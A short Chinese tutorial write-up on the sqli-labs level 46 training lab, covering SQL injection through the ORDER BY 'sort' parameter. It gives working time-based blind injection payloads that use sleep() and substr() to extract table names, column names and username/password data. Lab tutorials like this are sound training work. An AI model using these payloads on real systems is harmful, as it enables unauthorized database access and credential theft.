通过盲注脚本复习sqllabs第46关order by 注入

在MySQL支持使用ORDER BY语句对查询结果集进行排序处理,使用ORDER BY语句不仅支持对单列数据的排序,还支持对数据表中多列数据的排序。语法格式如下

复制代码
select * from 表名 order by 列名(或者数字) asc;升序(默认升序) 
select * from 表名 order by 列名(或者数字) desc;降序

打开第46关,发现提示

提示我们Please input parameter as SORT with numeric value(用数字形式输入[sort]排序参数)

这里可以进行尝试一下,按照提示,发现确实是这样

select * from 表名 order by 列名(或者数字) asc;升序(默认升序)

select * from 表名 order by 列名(或者数字) desc;降序;(同样道理)

?sort=rand(true)

?sort=rand(false)

说明存在注入点且可以使用报错注入

接下来可以进行判断字段数

输入3回显正常,但是4就报错,说明有三个字段

然后暴库

也可以采用时间盲注

结果是一样的

表名:

也可以时间注入:

复制代码
?sort=1 and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(5),0)

字段:

时间注入:

复制代码
?sort=1 and if(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='u',sleep(5),0)

数据:

时间注入:

复制代码
?sort=1 and if(substr((select group_concat(username,password) from security.users limit 0,1),1,1)='d',sleep(5),0)
相关推荐
std860217 小时前
ISO 22341 及ISO 22341-2:2025安全与韧性——防护安全——通过环境设计预防犯罪(CPTED)
安全
Warren9813 小时前
如何在 Spring Boot 中安全读取账号密码等
java·开发语言·spring boot·后端·安全·面试·测试用例
杭州泽沃电子科技有限公司14 小时前
工业环境电缆火灾预防的分布式光纤在线监测
运维·人工智能·科技·安全
ScottePerk15 小时前
前端安全之XSS和CSRF
前端·安全·xss
Bruce_Liuxiaowei20 小时前
使用批处理脚本安全清理Windows系统垃圾
网络·windows·安全·网络安全
lingggggaaaa20 小时前
小迪安全v2023学习笔记(七十讲)—— Python安全&SSTI模板注入&项目工具
笔记·python·学习·安全·web安全·网络安全·ssti
云手机掌柜1 天前
亚矩阵云手机:亚马逊第三方店铺多账号安全合规运营的核心技术支撑
安全·智能手机·矩阵·手机
往日情怀酿做酒 V17639296381 天前
信息收集5----(信息收集综合利用工具)
安全
曼岛_1 天前
[系统架构设计师]安全架构设计理论与实践(十八)
安全·系统架构·安全架构·系统架构设计师